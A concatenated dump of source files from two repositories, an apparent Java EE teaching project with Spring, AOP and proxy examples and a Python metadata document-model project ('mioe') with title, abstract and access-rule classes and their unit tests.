@RequestMapping("/static/layer/layer.js")
public String loginPage() {
// /WEB-INF/jsp/login.jsp
return "login";
}
}
<file_sep>/**
*
*/
package com.canway.java.aop;
/**
* @author aubrey
* @date 下午4:09:04
*
*/
public class BaseAopTest {
public static void main(String[] args) throws InterruptedException {
// BaseAop base2 = new BaseAop2(new BaseAop());
BaseAop base1 = new BaseAop();
// base2.add();
base1.add();
}
}
<file_sep>package com.canway.springboot.domain;
import java.io.Serializable;
import javax.validation.constraints.NotNull;
import org.hibernate.validator.constraints.Range;
import lombok.Data;
@Data
public class User implements Serializable{
private Integer id;
@NotNull(message = "用户名不能为空")
private String name;
private String userName;
@NotNull(message = "年龄不能为空")
@Range(max = 100,min = 18,message = "年龄只能在18-100之间")
private Integer age;
private String sex;
}
<file_sep>jdbc.driver=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://192.168.32.144:3306/javaeee?useSSL=true&useUnicode=true&characterEncoding=utf8
jdbc.username=root
jdbc.password=<PASSWORD><file_sep># javaee1214
javaee开发专家公开课
<file_sep>/**
*
*/
package com.canway.java.test;
/**
* @author aubrey
* @date 上午10:50:58
*
*/
public interface TestA {
public String test();
}
<file_sep>/**
*
*/
package com.canway.java.test;
/**
* @author aubrey
* @date 上午10:54:40
*
*/
public class TestAImpl2 implements TestA {
@Override
public String test() {
System.out.println("test22...");
return "test22222";
}
}
<file_sep>package com.canway.springboot.service.impl;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.canway.springboot.domain.User;
import com.canway.springboot.mapper.UserMapper;
import com.canway.springboot.service.UserService;
@Service
public class UserServiceImpl implements UserService {
@Autowired
private UserMapper userMapper;
@Override
public int deleteByPrimaryKey(Integer id) {
return userMapper.deleteByPrimaryKey(id);
}
@Override
public int insert(User record) {
return userMapper.insert(record);
}
@Override
public int insertSelective(User record) {
return userMapper.insertSelective(record);
}
@Override
public User selectByPrimaryKey(Integer id) {
return userMapper.selectByPrimaryKey(id);
}
@Override
public int updateByPrimaryKeySelective(User record) {
return userMapper.updateByPrimaryKeySelective(record);
}
@Override
public int updateByPrimaryKey(User record) {
return userMapper.updateByPrimaryKey(record);
}
@Override
public List<User> selectAll(User user) {
return userMapper.selectAll(user);
}
}
<file_sep>/**
*
*/
package com.canway.java.test;
import com.canway.java.model.People;
/**
* @author aubrey
* @date 上午10:51:48
*
*/
public class TestAImpl implements TestA {
@Override
public String test() {
System.out.println("test...");
return "test";
}
}
<file_sep>/**
*
*/
package com.canway.java.test;
/**
* @author aubrey
* @date 上午10:50:23
*
*/
public class TestInterface {
public static void main(String[] args) {
// TestA test = new TestAImpl();
TestA test2 = new TestAImpl2();
// test.test();
test2.test();
TestAImpl test = TestUtil.test1();
}
}
<file_sep>package com.canway.test;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import org.junit.Test;
import com.canway.java.aop.BaseAop;
import com.canway.java.aop.BaseAopInterface;
import com.canway.java.aop.proxy.CglibProxy;
import com.canway.java.aop.proxy.JdkProxy;
public class ProxyTest {
@Test
public void jdkProxyTest() throws NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException, InterruptedException {
Class clazz = Proxy.getProxyClass(BaseAop.class.getClassLoader(), BaseAopInterface.class);
Constructor constructor = clazz.getConstructor(InvocationHandler.class);
BaseAopInterface baseAop = (BaseAopInterface) constructor.newInstance(new JdkProxy(new BaseAop()));
System.out.println(baseAop);
baseAop.add();
baseAop.mod();
baseAop.del();
}
@Test
public void jdkProxyTest2() throws NoSuchMethodException, SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException, InterruptedException {
BaseAopInterface baseAop = (BaseAopInterface) Proxy.newProxyInstance(BaseAop.class.getClassLoader(), new Class[] {BaseAopInterface.class}, new JdkProxy(new BaseAop()));
baseAop.add();
baseAop.mod();
baseAop.del();
}
@Test
public void cglibProxyTest() throws InterruptedException {
CglibProxy cglibProxy = new CglibProxy();
BaseAop baseAop = (BaseAop) cglibProxy.getProxy(BaseAop.class);
System.out.println(baseAop);
baseAop.add();
baseAop.mod();
baseAop.del();
}
}
<file_sep>/**
*
*/
package com.canway.java.test;
/**
* @author aubrey
* @date 上午10:58:24
*
*/
public class TestUtil {
public static TestAImpl test1() {
return new TestAImpl();
}
public static TestAImpl2 test2() {
return new TestAImpl2();
}
public static Object test3() {
//根据配置文件的定义,读取依赖定义
// new
//创建对于的依赖对象
// 返回对象
return null;
}
}
| 5eaa58e0ccb96704a09b7454ad3097a1176bb0b9 | [
"Markdown",
"Java",
"INI"
] | 17 | Java | anglechen/javaee1214 | 4bf7aee69d9c62a7b5e52ba48d895ea737015991 | e9b8b00bf130b4198d4640d167afed33e85082de |
refs/heads/master | <repo_name>servilla/mioe<file_sep>/gm_dom/title.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""":Mod: title
:Synopsis:
:Author:
servilla
:Created:
10/21/16
"""
import logging
logging.basicConfig(format='%(asctime)s %(levelname)s (%(name)s): %(message)s',
datefmt='%Y-%m-%d% H:%M:%S%z')
logging.getLogger('').setLevel(logging.WARN)
logger = logging.getLogger('title')
import json
class Title(object):
def __init__(self, title=None):
self.title = title
def get_title(self):
return self.title
def set_title(self, title=None):
self.title = title
def trim_title(self):
return self.title.strip()
def to_json(self):
return json.dumps({'title': self.title})
@staticmethod
def from_json(title='null'):
return json.loads(title)
def main():
return 0
if __name__ == "__main__":
main()<file_sep>/tests/test_gm_dom.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""":Mod: test_gm_dom
:Synopsis:
:Author:
servilla
:Created:
10/21/16
"""
import logging
import unittest
logging.basicConfig(format='%(asctime)s %(levelname)s (%(name)s): %(message)s',
datefmt='%Y-%m-%d %H:%M:%S%z')
logging.getLogger('').setLevel(logging.WARN)
logger = logging.getLogger('test_gm_dom')
from .context import dom
class TestGmDom(unittest.TestCase):
def setUp(self):
self.gm_dom = dom.GmDom()
def tearDown(self):
pass
def test_create(self):
pass
if __name__ == '__main__':
unittest.main()
<file_sep>/gm_dom/abstract.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""":Mod: abstract
:Synopsis:
:Author:
servilla
:Created:
10/21/16
"""
import logging
logging.basicConfig(format='%(asctime)s %(levelname)s (%(name)s): %(message)s',
datefmt='%Y-%m-%d% H:%M:%S%z')
logging.getLogger('').setLevel(logging.WARN)
logger = logging.getLogger('abstract')
import json
class Abstract(object):
def __init__(self, abstract=None):
self.abstract = abstract
def get_abstract(self):
return self.abstract
def set_abstract(self, abstract=None):
self.abstract = abstract
def trim_abstract(self):
return self.abstract.strip()
def to_json(self):
return json.dumps({'abstract': self.abstract})
@staticmethod
def from_json(abstract='null'):
return json.loads(abstract)
def main():
return 0
if __name__ == "__main__":
main()<file_sep>/tests/test_title.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""":Mod: test_title
:Synopsis:
:Author:
servilla
:Created:
11/12/16
"""
import unittest
import logging
logging.basicConfig(format='%(asctime)s %(levelname)s (%(name)s): %(message)s',
datefmt='%Y-%m-%d %H:%M:%S%z')
logging.getLogger('').setLevel(logging.WARN)
logger = logging.getLogger('test_title')
import json
from .context import title
class TestTitle(unittest.TestCase):
test_title = "This is a test title!"
json_title = json.dumps({'title': test_title})
py_title = json.loads(json_title)
def setUp(self):
self.title = title.Title(TestTitle.test_title)
def tearDown(self):
pass
def test_default_title(self):
test_title = self.title.get_title()
msg = '{test}: expected title "{title}", but received "{error}"'.format(
test='test_default_title', title=TestTitle.test_title,
error=test_title)
self.assertEquals(TestTitle.test_title, test_title, msg)
def test_to_json(self):
json_title = self.title.to_json()
msg = '{test}: expected json "{json}", but received "{error}"'.format(
test='test_to_json', json=TestTitle.json_title, error=json_title)
self.assertEquals(TestTitle.json_title, json_title, msg)
def test_from_json(self):
py_title = self.title.from_json(TestTitle.json_title)
msg = '{test}: expected object "{py}", but received "{error}"'.format(
test='test_from_json', py=TestTitle.json_title, error=py_title)
self.assertEqual(TestTitle.py_title, py_title, msg)
if __name__ == '__main__':
unittest.main()
<file_sep>/gm_dom/dataset.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""":Mod: dataset
:Synopsis:
:Author:
servilla
:Created:
11/23/16
"""
import logging
logging.basicConfig(format='%(asctime)s %(levelname)s (%(name)s): %(message)s',
datefmt='%Y-%m-%d% H:%M:%S%z')
logging.getLogger('').setLevel(logging.WARN)
logger = logging.getLogger('dataset')
class Dataset():
pass
def main():
return 0
if __name__ == "__main__":
main()<file_sep>/gm_dom/access.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""":Mod: access
:Synopsis:
:Author:
servilla
:Created:
10/21/16
"""
import logging
logging.basicConfig(format='%(asctime)s %(levelname)s (%(name)s): %(message)s',
datefmt='%Y-%m-%d% H:%M:%S%z')
logging.getLogger('').setLevel(logging.WARN)
logger = logging.getLogger('access')
import json
class Rule(object):
def __init__(self, principal=None, permission=None):
self.principal = principal
self.permission = permission
def to_json(self):
return json.dumps({'principal': self.principal,
'permission': self.permission})
@staticmethod
def from_json(rule='null'):
return json.loads(rule)
class Access(object):
def __init__(self):
self.deny_rules = []
self.allow_rules = []
self.rules = 0
def rule_count(self):
return self.rules
def add_allow_rule(self, principal='public', permission='read'):
self.allow_rules.append(Rule(principal, permission))
self.rules += 1
def add_deny_rule(self, principal='public', permission='read'):
self.deny_rules.append(Rule(principal, permission))
self.rules += 1
def remove_allow_rule(self, principal='public', permission='read'):
rule = Rule(principal, permission)
try:
self.allow_rules.remove(rule)
self.rules -= 1
except ValueError:
logger.warn('Attempting to remove allow rule that does not exist')
def remove_deny_rule(self, principal='public', permission='read'):
rule = Rule(principal, permission)
try:
self.deny_rules.remove(rule)
self.rules -= 1
except ValueError:
logger.warn('Attempting to remove deny rule that does not exist')
def to_json(self):
# TODO: decide how to handle an empty access element
pass
def main():
return 0
if __name__ == "__main__":
main()<file_sep>/tests/test_access.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""":Mod: test_access
:Synopsis:
:Author:
servilla
:Created:
11/23/16
"""
import unittest
import logging
logging.basicConfig(format='%(asctime)s %(levelname)s (%(name)s): %(message)s',
datefmt='%Y-%m-%d %H:%M:%S%z')
logging.getLogger('').setLevel(logging.WARN)
logger = logging.getLogger('test_access')
import json
from .context import access
class TestAccess(unittest.TestCase):
principal = 'grinch'
permission = 'write'
test_rule = json.dumps({'principal': principal,
'permission': permission})
def setUp(self):
pass
def tearDown(self):
pass
def test_access_constructor(self):
test_access = access.Access()
rule_count = test_access.rule_count()
msg = 'Expected: {empty}'.format(empty=0) + \
'Received: {rule_count}'.format(rule_count=rule_count)
self.assertEqual(0, rule_count, msg)
def test_rule_to_json(self):
rule = access.Rule(TestAccess.principal, TestAccess.permission)
self.assertEqual(TestAccess.test_rule, rule.to_json())
if __name__ == '__main__':
unittest.main()
<file_sep>/gm_dom/README.md
##Generic metadata document object model
The following packages supports the development of a generic metadata
document object module. Structure is in JSON, as is filesystem storage
formats.<file_sep>/README.md
##Metadata Input/Output Engine (MIOE)
The MIOE is a metadata engine that consumes generic science metadata as input and produces a valid standard dialect (xml schema) as output. | aa77f5a572af756642f9c73eb8a21f0d02b79914 | [
"Markdown",
"Python"
] | 9 | Python | servilla/mioe | 1a467b6d0997065781b1cc4a653b6b4c20a49b5f | f9c895fb4ad8e0c9d60cdfba8626a1f3076cb813 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.